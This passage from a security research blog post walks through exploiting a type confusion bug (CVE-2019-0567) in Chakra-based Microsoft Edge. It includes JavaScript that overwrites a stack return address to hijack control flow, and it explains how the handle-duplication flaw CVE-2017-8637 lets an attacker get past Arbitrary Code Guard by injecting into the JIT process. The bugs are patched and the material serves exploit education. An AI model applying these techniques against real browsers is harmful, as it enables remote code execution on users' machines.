	<span class="k">while</span> <span class="p">(</span><span class="nx">counter</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
	<span class="p">{</span>
	    <span class="c1">// Store the contents of the stack</span>
	    <span class="nx">tempContents</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

	    <span class="c1">// Did we find our target return address?</span>
        <span class="k">if</span> <span class="p">((</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="nx">returnAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
        <span class="p">{</span>
			<span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Found our return address on the stack!</span><span class="dl">"</span><span class="p">);</span>
            <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>
            <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Target stack address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">));</span>
            <span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;br&gt;</span><span class="dl">"</span><span class="p">);</span>

            <span class="c1">// Break the loop</span>
            <span class="k">break</span><span class="p">;</span>

        <span class="p">}</span>
        <span class="k">else</span>
        <span class="p">{</span>
        	<span class="c1">// Decrement the counter</span>
	    	<span class="c1">// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit</span>
	    	<span class="nx">counter</span> <span class="o">-=</span> <span class="mh">0x8</span><span class="p">;</span>
        <span class="p">}</span>
	<span class="p">}</span>

	<span class="c1">// Corrupt the return address to control RIP with 0x4141414141414141</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
<span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>Open the updated <code class="language-plaintext highlighter-rouge">exploit.html</code> script and attach WinDbg <em>before</em> pressing the <code class="language-plaintext highlighter-rouge">Click me to exploit CVE-2019-0567!</code> button.</p>

<p><img src="/images/3typeconfusion3.png" alt="" /></p>

<p>After attaching to WinDbg and pressing <code class="language-plaintext highlighter-rouge">g</code>, go ahead and click the button (may require clicking twice in some instance to detonate the exploit). Please note that sometimes there is a <em>slight</em> edge case where the return address isn’t located on the stack. So if the debugger shows you crashing on the <code class="language-plaintext highlighter-rouge">GetValue</code> method, this is likely a case of that. After testing, 10/10 times I found the return address. However, it is possible once in a while to not encounter it. It is very rare.</p>

<p><img src="/images/3typeconfusion45.png" alt="" /></p>

<p>After running <code class="language-plaintext highlighter-rouge">exploit.html</code> in the debugger, we can clearly see that we have overwritten a return address on the stack with <code class="language-plaintext highlighter-rouge">0x4141414141414141</code> and Edge is attempting to return into it. We have, again, successfully corrupted control-flow and can now redirect execution wherever we want in Edge. We went over all of this, as well, in part two of this blog series!</p>

<p>Now that we have our read/write primitive and control-flow hijacking ported to Edge, we can now begin our Edge-specific exploitation which involves many ROP chains to bypass Edge mitigations like Arbitrary Code Guard.</p>

<h2 id="arbitrary-code-guard--code-integrity-guard">Arbitrary Code Guard &amp;&amp; Code Integrity Guard</h2>
<p>We are now at a point where our exploit has the ability to read/write memory, we control the instruction pointer, and we know where the stack is. With these primitives, exploitation should be as follows (in terms of where exploit development currently and traditionally is at):</p>

<ol>
  <li>Bypass ASLR to determine memory layout (done)</li>
  <li>Achieve read/write primitive (done)</li>
  <li>Locate the stack (done)</li>
  <li>Control the instruction pointer (done)</li>
  <li>Write a ROP payload to the stack (TBD)</li>
  <li>Write shellcode to the stack (or somewhere else in memory) (TBD)</li>
  <li>Mark the stack (or regions where shellcode is) as RWX (TBD)</li>
  <li>Execute shellcode (TBD)</li>
</ol>

<p>Steps 5 through 8 are required as a result of DEP. DEP, a mitigation which has been beaten to death, separates code and data segments of memory. The stack, being a data segment of memory (it is only there to hold data), is <em>not</em> executable whenever DEP is enabled. Because of this, we invoke a function like <code class="language-plaintext highlighter-rouge">VirtualProtect</code> (via ROP) to mark the region of memory we wrote our shellcode to (which is a data segment that allows data to be <em>written</em> to it) as RWX. I have documented this procedure <a href="https://connormcgarr.github.io/ROP2/">time</a> and <a href="https://connormcgarr.github.io/ROP/">time</a> again. We leak an address (or abuse non-ASLR modules, which is very rare now), we use our primitive to write to the stack (stack-based buffer overflow in the two previous links provided), we mark the stack as RWX via ROP (the shellcode is also on the stack) and we are now allowed to execute our shellcode since its in a RWX region of memory. With that said, let me introduce a new mitigation into the fold - Arbitrary Code Guard (ACG).</p>

<p>ACG is a mitigation which prohibits <em>any</em> dynamically-generated RWX memory. This is manifested in a few ways, pointed out by <a href="https://twitter.com/epakskape">Matt Miller</a> in his <a href="https://blogs.windows.com/msedgedev/2017/02/23/mitigating-arbitrary-native-code-execution/">blog post</a> on ACG. As Matt points out:</p>

<blockquote>
  <p>“With ACG enabled, the Windows kernel prevents a content process from creating and modifying code pages in memory by enforcing the following policy:</p>

  <ol>
    <li>
      <p>Code pages are immutable. Existing code pages cannot be made writable and therefore always have their intended content. This is enforced with additional checks in the memory manager that prevent code pages from becoming writable or otherwise being modified by the process itself. For example, it is no longer possible to use <code class="language-plaintext highlighter-rouge">VirtualProtect</code> to make an image code page become <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code>.</p>
    </li>
    <li>
      <p>New, unsigned code pages cannot be created. For example, it is no longer possible to use <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> to create a new <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code> code page.”</p>
    </li>
  </ol>
</blockquote>

<p>What this means is that an attacker can write their shellcode to a data portion of memory (like the stack) all they want, gladly. However, the permissions needed (e.g. the memory must be explicitly marked executable by the adversary) can <em>never</em> be achieved with ACG enabled. At a high level, no memory permissions in Edge (specifically content processes, where our exploit lives) can be modified (we can’t write our shellcode to a code page nor can we modify a data page to execute our shellcode).</p>

<p>Now, you may be thinking - “Connor, instead of executing native shellcode in this manner, why don’t you just use <code class="language-plaintext highlighter-rouge">WinExec</code> like in your previous exploit from part two of this blog series to spawn <code class="language-plaintext highlighter-rouge">cmd.exe</code> or some other application to download some staged DLL and just load it into the process space?” This is a perfectly valid thought - and, thus, has already been addressed by Microsoft.</p>

<p>Edge has <em>another</em> small mitigation known as “no child processes”. This nukes any ability to spawn a child process to go inject some shellcode into another process, or load a DLL. Not only that, even if there was no mitigation for child processes, there is a “sister” mitigation to ACG called Code Integrity Guard (CIG) which also is present in Edge.</p>

<p>CIG essentially says that only Microsoft-signed DLLs can be loaded into the process space. So, even if we could reach out to a retrieve a staged DLL and get it onto the system, it isn’t possible for us to load it into the content process, as the DLL isn’t a signed DLL (inferring the DLL is a malicious one, it wouldn’t be signed).</p>

<p>So, to summarize, in Edge we cannot:</p>
<ol>
  <li>Use <code class="language-plaintext highlighter-rouge">VirtualProtect</code> to mark the stack where our shellcode is to RWX in order to execute it</li>
  <li>We can’t use <code class="language-plaintext highlighter-rouge">VirtualProtect</code> to make a code page (RX memory) to writable in order to write our shellcode to this region of memory (using something like a <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> ROP chain)</li>
  <li>We cannot allocate RWX memory within the current process space using <code class="language-plaintext highlighter-rouge">VirtualAlloc</code></li>
  <li>We cannot allocate RW memory with <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> and then mark it as RX</li>
  <li>We cannot allocate RX memory with <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> and then mark it as RW</li>
</ol>

<p>With the advent of all three of these mitigations, previous exploitation strategies are all thrown out of the window. Let’s talk about how this changes our exploit strategy, now knowing we cannot just execute shellcode directly within the content process.</p>

<h2 id="cve-2017-8637---combining-vulnerabilities">CVE-2017-8637 - Combining Vulnerabilities</h2>
<p>As we hinted at, and briefly touched on earlier in this blog post, we know that something has to be done about JIT code with ACG enablement. This is because, by default, JIT code is generated as RWX. If we think about it, JIT’d code first starts out as an “empty” allocation (just like when we allocate some memory with <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>). This memory is first marked as RW (it is writable because Chakra needs to actually write the code into it that will be executed into the allocation). We know that since there is no execute permission on this RW allocation, and this allocation has code that needs to be executed, the JIT engine has to change the region of memory to RX <em>after</em> its generated. This means the JIT engine has to generate dynamic code that has its memory permissions changed. Because of this, no JIT code can really be generated in an Edge process with ACG enabled. As pointed out in Matt’s blog post (and briefly mentioned by us) this architectural issue was addresses as follows:</p>

<blockquote>
  <p>“Modern web browsers achieve great performance by transforming JavaScript and other higher-level languages into native code. As a result, they inherently rely on the ability to generate some amount of unsigned native code in a content process. Enabling JIT compilers to work with ACG enabled is a non-trivial engineering task, but it is an investment that we’ve made for Microsoft Edge in the Windows 10 Creators Update. To support this, we moved the JIT functionality of Chakra into a separate process that runs in its own isolated sandbox. The JIT process is responsible for compiling JavaScript to native code and mapping it into the requesting content process. In this way, the content process itself is never allowed to directly map or modify its own JIT code pages.”</p>
</blockquote>

<p>As we have already seen in this blog post, two processes are generated (JIT server and content process) and the JIT server is responsible for taking the JavaScript code from the content process and transforming it into machine code. This machine code is then mapped back into the content process with appropriate permissions (like that of the <code class="language-plaintext highlighter-rouge">.text</code> section, RX). The vulnerability (<a href="https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2017-8637">CVE-2017-8637</a>) mentioned in this section of the blog post took advantage of a flaw in this architecture to compromise Edge fully and, thus, bypass ACG. Let’s talk about a bit about the architecture of the JIT server and content process communication channel first (please note that this vulnerability has been patched).</p>

<p>The last thing to note, however, is where Matt says that the JIT process was moved “…into a separate process that runs in its own isolated sandbox”. Notice how Matt did not say that it was moved into an ACG-compliant process (as we know, ACG isn’t compatible with JIT). Although the JIT process may be “sandboxed” it does not have ACG enabled. It does, however, have CIG <em>and</em> “no child processes” enabled. We will be taking advantage of the fact the JIT process doesn’t (and still to this day doesn’t, although the new V8 version of Edge only has ACG support in a special mode) have ACG enabled. With our ACG bypass, we will leverage a vulnerability with the way Chakra-based Edge managed communications (specifically via a process handle stored within the content process) to and from the JIT server. With that said, let’s move on.</p>

<h2 id="leaking-the-jit-server-handle">Leaking The JIT Server Handle</h2>
<p>The content process uses an RPC channel in order to communicate with the JIT server/process. I found this out by opening <code class="language-plaintext highlighter-rouge">chakra.dll</code> within IDA and searching for any functions which looked interesting and contained the word “JIT”. I found an interesting function named <code class="language-plaintext highlighter-rouge">JITManager::ConnectRpcServer</code>. What stood out to me immediately was a call to the function <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> within <code class="language-plaintext highlighter-rouge">JITManager::ConnectRpcServer</code>.</p>

<p><img src="/images/3typeconfusion46.png" alt="" /></p>

<p>If we look at <a href="https://github.com/chakra-core/ChakraCore/blob/1eae003b7a981b4b691928daef27b5254a49f5eb/lib/JITClient/JITManager.cpp#L236">ChakraCore</a> we can see the source (which should be <em>close</em> between Chakra and ChakraCore) for this function. What was very interesting about this function is the fact that the first argument this function accepts is seemingly a “handle to the JIT process”.</p>

<p><img src="/images/3typeconfusion47.png" alt="" /></p>

<p>Since <code class="language-plaintext highlighter-rouge">chakra.dll</code> contains the functionality of the Chakra JavaScript engine and since <code class="language-plaintext highlighter-rouge">chakra.dll</code>, as we know, is loaded into the content process - this functionality is accessible through the content process (where our exploit is running). This infers at <em>some point</em> the content process is doing <em>something</em> with what seems to be a handle to the JIT server. However, we know that the value of <code class="language-plaintext highlighter-rouge">jitProcessHandle</code> is supplied by the caller (e.g. the function which actually invokes <code class="language-plaintext highlighter-rouge">JITManager::ConnectRpcServer</code>). Using IDA, we can look for cross-references to this function to see what function is responsible for calling <code class="language-plaintext highlighter-rouge">JITManager::ConnectRpcServer</code>.</p>

<p><img src="/images/3typeconfusion48.png" alt="" /></p>

<p>Taking a look at the above image, we can see the function <code class="language-plaintext highlighter-rouge">ScriptEngine::SetJITConnectionInfo</code> is responsible for calling <code class="language-plaintext highlighter-rouge">JITManager::ConnectRpcServer</code> and, thus, also for providing the JIT handle to the function. Let’s look at <code class="language-plaintext highlighter-rouge">ScriptEngine::SetJITConnectionInfo</code> to see exactly how this function provides the JIT handle to <code class="language-plaintext highlighter-rouge">JITManager::ConnectRpcServer</code>.</p>

<p><img src="/images/3typeconfusion49.png" alt="" /></p>

<p>We know that the <code class="language-plaintext highlighter-rouge">__fastcall</code> calling convention is in use, and that the first argument of <code class="language-plaintext highlighter-rouge">JITManager::ConnectRpcServer</code> (as we saw in the ChakraCore code) is where the JIT handle goes. So, if we look at the above image, whatever is in RCX directly prior to the call to <code class="language-plaintext highlighter-rouge">JITManager::ConnectRpcServer</code> will be the JIT handle. We can see this value is gathered from a symbol called <code class="language-plaintext highlighter-rouge">s_jitManager</code>.</p>

<p>We know that this is the value that is going to be passed to the <code class="language-plaintext highlighter-rouge">JITManager::ConnectRpcServer</code> function in the RCX register - meaning that this symbol has to contain the handle to the JIT server. Let’s look again, once more, at <code class="language-plaintext highlighter-rouge">JITManager::ConnectRpcServer</code> (this time with some additional annotation).</p>

<p><img src="/images/3typeconfusion50.png" alt="" /></p>

<p>We already know that RCX = <code class="language-plaintext highlighter-rouge">s_jitManager</code> when this function is executed. Looking deeper into the disassembly (almost directly before the <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> call) we can see that <code class="language-plaintext highlighter-rouge">s_jitManager+0x8</code> (a.k.a RCX at an offset of <code class="language-plaintext highlighter-rouge">0x8</code>) is loaded into R14. R14 is then used as the <code class="language-plaintext highlighter-rouge">lpTargetHandle</code> parameter for the call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code>. Let’s take a look at <code class="language-plaintext highlighter-rouge">DuplicateHandle</code>’s prototype (don’t worry if this is confusing, I will provide a summation of the findings very shortly to make sense of this).</p>

<p><img src="/images/3typeconfusion51.png" alt="" /></p>

<p><img src="/images/3typeconfusion52.png" alt="" /></p>

<p>If we take a look at the description above, the <code class="language-plaintext highlighter-rouge">lpTargetHandle</code> will “…receive the duplicate handle…”. What this means is that <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> is used in this case to duplicate a handle to the JIT server, and store the duplicated handle within <code class="language-plaintext highlighter-rouge">s_jitManager+0x8</code> (a.k.a the content process will have a handle to the JIT server) We can base this on two things - the first being that we have anecdotal evidence through the name of the variable we located in <code class="language-plaintext highlighter-rouge">ChakraCore</code>, which is <code class="language-plaintext highlighter-rouge">jitprocessHandle</code>. Although Chakra isn’t identical to ChakraCore in <em>every</em> regard, Chakra is following the same convention here. Instead, however, of directly supplying the <code class="language-plaintext highlighter-rouge">jitprocessHandle</code> - Chakra seems to manage this information through a structure called <code class="language-plaintext highlighter-rouge">s_jitManager</code>. The second way we can confirm this is through hard evidence.</p>

<p><img src="/images/3typeconfusion53.png" alt="" /></p>

<p>If we examine <code class="language-plaintext highlighter-rouge">chakra!JITManager::s_jitManager+0x8</code> (where we have hypothesized the duplicated JIT handle will go) within WinDbg, we can clearly see that this is a handle to a process with <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> access. We can also use Process Hacker to examine the handles to and from <code class="language-plaintext highlighter-rouge">MicrosoftEdgeCP.exe</code>. First, run Process Hacker as <em>an administrator</em>. From there, double-click on the <code class="language-plaintext highlighter-rouge">MicrosoftEdgeCP.exe</code> content process (the one using the most RAM as we saw, PID <code class="language-plaintext highlighter-rouge">4172</code> in this case). From there, click on the <code class="language-plaintext highlighter-rouge">Handles</code> tab and then sort the handles numerically via the <code class="language-plaintext highlighter-rouge">Handle</code> tab by clicking on it until they are in ascending order.</p>

<p><img src="/images/3typeconfusion54.png" alt="" /></p>

<p>If we then scroll down in this list of handles, we can see our handle of <code class="language-plaintext highlighter-rouge">0x314</code>. Looking at the <code class="language-plaintext highlighter-rouge">Name</code> column, we can also see that this is a handle to <em>another</em> <code class="language-plaintext highlighter-rouge">MicrosoftEdgeCP.exe</code> process. Since we know there are only two (whenever <code class="language-plaintext highlighter-rouge">exploit.html</code> is spawned and no other tabs are open) instances of <code class="language-plaintext highlighter-rouge">MicrosoftEdgeCP.exe</code>, the other “content process” (as we saw earlier) must be our JIT server (PID <code class="language-plaintext highlighter-rouge">7392</code>)!</p>

<p><img src="/images/3typeconfusion55.png" alt="" /></p>

<p><img src="/images/3typeconfusion56.png" alt="" /></p>

<p>Another way to confirm this is by clicking on the <code class="language-plaintext highlighter-rouge">General</code> tab of our content process (PID <code class="language-plaintext highlighter-rouge">4172</code>). From there, we can click on the <code class="language-plaintext highlighter-rouge">Details</code> button next to <code class="language-plaintext highlighter-rouge">Mitigation policies</code> to confirm that ACG (called “Dynamic code prohibited” here) is enabled for the content process where our exploit is running.</p>

<p><img src="/images/3typeconfusion57.png" alt="" /></p>

<p>However, if we look at the <em>other</em> content process (which should be our JIT server) we can confirm ACG is <em>not</em> running. Thus, indicating, we know exactly which process is our JIT server and which one is our content process. From now on, no matter how many instances of Edge are running on a given machine, a content process will always have a <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> handle to the JIT server located at <code class="language-plaintext highlighter-rouge">chakra::JITManager::s_jitManager+0x8</code>.</p>

<p><img src="/images/3typeconfusion58.png" alt="" /></p>

<p>So, in summation, we know that <code class="language-plaintext highlighter-rouge">s_jitManager+0x8</code> contains a handle to the JIT server, and it is readable from the content process (where our exploit is running). You may also be asking “why does the content process need to have a <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> handle to the JIT server?” We will come to this shortly.</p>

<p>Turning our attention back to the aforementioned analysis, we know we have a handle to the JIT server. You may be thinking - we could essentially just use our arbitrary read primitive to obtain this handle and then use it to perform some operations on the JIT process, since the JIT process <em>doesn’t</em> have ACG enabled! This may sound very enticing at first. However, let’s take a look at a malicious function like <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> for a second, which can allocate memory within a remote process via a supplied process handle (which we have). <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex">documentation</a> states that:</p>

<blockquote>
  <p>The handle must have the <code class="language-plaintext highlighter-rouge">PROCESS_VM_OPERATION</code> access right. For more information, see Process Security and Access Rights.</p>
</blockquote>

<p>This “kills” our idea in its tracks - the handle we have only has the permission <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code>. We don’t have the access rights to allocate memory in a remote process where perhaps ACG is disabled (like the JIT server). However, due to a vulnerability (CVE-2017-8637), there is actually a way we can abuse the handle stored within <code class="language-plaintext highlighter-rouge">s_jitManager+0x8</code> (which is a handle to the JIT server). To understand this, let’s just take a few moments to understand <em>why</em> we even need a handle to the JIT server, from the content process, in the first place.</p>

<p>Let’s now turn out attention to this <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1299">this</a> Google Project Zero issue regarding the CVE.</p>

<p>We know that the JIT server (a different process) needs to map JIT’d code into the content process. As the issue explains:</p>

<blockquote>
  <p>In order to be able to map executable memory in the calling process, JIT process needs to have a handle of the calling process. So how does it get that handle? It is sent by the calling process as part of the <code class="language-plaintext highlighter-rouge">ThreadContext</code> structure. In order to send its handle to the JIT process, the calling process first needs to call <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> on its (pseudo) handle.</p>
</blockquote>

<p>The above is self explanatory. If you want to do process injection (e.g. map code into <em>another</em> process) you need a handle to that process. So, in the case of the JIT server - the JIT server knows it is going to need to inject some code into the content process. In order to do this, the JIT server needs a handle to the content process with permissions such as <code class="language-plaintext highlighter-rouge">PROCESS_VM_OPERATION</code>. So, in order for the JIT process to have a handle to the content process, the content process (as mentioned above) shares it with the JIT process. However, this is where things get interesting.</p>

<p>The way the content process will give its handle to the JIT server is by duplicating its own pseudo handle. According to Microsoft, a pseudo handle:</p>

<blockquote>
  <p>… is a special constant, currently <code class="language-plaintext highlighter-rouge">(HANDLE)-1</code>, that is interpreted as the current process handle.</p>
</blockquote>

<p>So, in other words, a pseudo handle is a handle to the current process and it is <em>only</em> valid within context of the process it is generated in. So, for example, if the content process called <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code> to obtain a pseudo handle which represents the content process (essentially a handle to itself), this pseudo handle wouldn’t be valid within the JIT process. This is because the pseudo handle only represents a handle to the process which called <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code>. If <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code> is called in the JIT process, the handle generated is only valid within the JIT process. It is just an “easy” way for a process to specify a handle to the current process. If you supplied this pseudo handle in a call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>, for instance, you would tell <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> “hey, any memory you are about to write to is found within the current process”. Additionally, this pseudo handle has <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> permissions.</p>

<p>Now that we know what a pseudo handle is, let’s revisit this sentiment:</p>

<blockquote>
  <p>The way the content process will give its handle to the JIT server is by duplicating its own pseudo handle.</p>
</blockquote>

<p>What the content process will do is obtain its pseudo handle by calling <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code> (which is only valid within the content process). This handle is then used in a call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code>. In other words, the content process will duplicate its pseudo handle. You may be thinking, however, “Connor you just told me that a pseudo handle can only be used by the process which called <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code>. Since the content process called <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code>, the pseudo handle will only be valid in the content process. We need a handle to the content process that can be used by another process, like the JIT server. How does duplicating the handle change the fact this pseudo handle can’t be shared outside of the content process, even though we are duplicating the handle?”</p>

<p>The answer is pretty straightforward - if we look in the <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code> <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess#remarks">Remarks</a> section we can see the following text:</p>

<blockquote>
  <p>A process can create a “real” handle to itself that is valid in the context of other processes, or that can be inherited by other processes, by specifying the pseudo handle as the source handle in a call to the <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> function.</p>
</blockquote>

<p>So, even though the pseudo handle only represents a handle to the current process and is only valid within the current process, the <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> function has the ability to convert this pseudo  handle, which is only valid within the current process (in our case, the current process is the content process where the pseudo handle to be duplicated exists) into an <em>actual</em> or <em>real</em> handle which can be leveraged by other processes. This is exactly why the content process will duplicate its pseudo handle - it allows the content process to create an <em>actual</em> handle to itself, with <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> permissions, which can be actively used by other processes (in our case, this duplicated handle can be used by the JIT server to map JIT’d code into the content process).</p>

<p>So, in totality, it’s possible for the content process to call <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code> (which returns a <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle to the content process) and then use <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> to duplicate this handle for the JIT server to use. However, where things get interesting is the third parameter of <code class="language-plaintext highlighter-rouge">DuplicateHandle</code>, which is <code class="language-plaintext highlighter-rouge">hTargetProcessHandle</code>. This parameter has the following description:</p>

<blockquote>
  <p>A handle to the process that is to receive the duplicated handle. The handle must have the <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> access right…</p>
</blockquote>

<p>In our case, we know that the “process that is to receive the duplicated handle” is the JIT server. After all, we are trying to send a (duplicated) content process handle to the JIT server. This means that when the content process calls <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> in order to duplicate its handle for the JIT server to use, according to this parameter, the JIT server <em>also</em> needs to have a handle to the content process with <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code>. If this doesn’t make sense, re-read the description provided of <code class="language-plaintext highlighter-rouge">hTargetProcessHandle</code>. This is saying that this parameter requires a handle to the process where the duplicated handle is going to go (specifically a handle with <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code>) permissions.</p>

<p>This means, in less words, that if the content process wants to call <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> in order to send/share its handle to/with the JIT server so that the JIT server can map JIT’d code into the content process, the content process <em>also</em> needs a <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> to the JIT server.</p>

<p>This is the exact reason why the <code class="language-plaintext highlighter-rouge">s_jitManager</code> structure in the content process contains a <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> to the JIT server. Since the content process now has a <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> handle to the JIT server (<code class="language-plaintext highlighter-rouge">s_jitManager+0x8</code>), this <code class="language-plaintext highlighter-rouge">s_jitManager+0x8</code> handle can be passed in to the <code class="language-plaintext highlighter-rouge">hTargetProcessHandle</code> parameter when the content process duplicates its handle via <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> for the JIT server to use. So, to answer our initial question - the reason why this handle exists (why the content process has a handle to the JIT server) is so <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> calls succeed where content processes need to send their handle to the JIT server!</p>

<p>As a point of contention, this architecture is no longer used and the issue was fixed <a href="https://github.com/google/p0tools/blob/master/JITServer/JIT-Server-whitepaper.pdf">according</a> to Ivan:</p>

<blockquote>
  <p>This issue was fixed by using an undocumented system_handle IDL attribute to transfer the Content Process handle to the JIT Process. This leaves handle passing in the responsibility of the Windows RPC mechanism, so Content Process no longer needs to call <code class="language-plaintext highlighter-rouge">DuplicateHandle()</code> or have a handle to the JIT Process.</p>
</blockquote>

<p>So, to beat this horse to death, let me concisely reiterate one last time:</p>

<ol>
  <li>JIT process wants to inject JIT’d code into the content process. It needs a handle to the content process to inject this code</li>
  <li>In order to fulfill this need, the content process will duplicate its handle and pass it to the JIT server</li>
  <li>In order for a duplicated handle from process “A” (the content process) to be used by process “B” (the JIT server), process “B” (the JIT server) first needs to give its handle to process “A” (the content process) with <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> permissions. This is outlined by <code class="language-plaintext highlighter-rouge">hTargetProcessHandle</code> which requires “a handle to the process that is to receive the duplicated handle” when the content process calls <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> to send its handle to the JIT process</li>
  <li>Content process first stores a handle to the JIT server with <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> to fulfill the needs of <code class="language-plaintext highlighter-rouge">hTargetProcessHandle</code></li>
  <li>Now that the content process has a <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> to the JIT server, the content process can call <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> to duplicate its own handle and pass it to the JIT server</li>
  <li>JIT server now has a handle to the content process</li>
</ol>

<p>The issue with this is number three, as <a href="https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights">outlined by Microsoft</a>:</p>

<blockquote>
  <p>A process that has some of the access rights noted here can use them to gain other access rights. For example, if process A has a handle to process B with <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> access, it can duplicate the pseudo handle for process B. This creates a handle that has maximum access to process B. For more information on pseudo handles, see <code class="language-plaintext highlighter-rouge">GetCurrentProcess</code>.</p>
</blockquote>

<p>What Microsoft is saying here is that if a process has a handle to another process, and that handle has <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> permissions, it is possible to use <em>another</em> call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> to obtain a full-fledged <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle. This is the exact scenario we currently have. Our content process has a <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> handle to the JIT process. As Microsoft points out, this can be dangerous because it is possible to call <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> on this <code class="language-plaintext highlighter-rouge">PROCESS_DUP_HANDLE</code> handle in order to obtain a full-access handle to the JIT server! This would allow us to have the necessary handle permissions, as we showed earlier with <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>, to compromise the JIT server. The reason why CVE-2017-8637 is an ACG bypass is because the JIT server doesn’t have ACG enabled! If we, from the content process, can allocate memory and write shellcode into the JIT server (abusing this handle) we would compromise the JIT process and execute code, because ACG isn’t enabled there!</p>

<p>So, we could setup a call to <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> as such:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DuplicateHandle</span><span class="p">(</span>
	<span class="n">jitHandle</span><span class="p">,</span>		<span class="c1">// Leaked from s_jitManager+0x8 with PROCESS_DUP_HANDLE permissions</span>
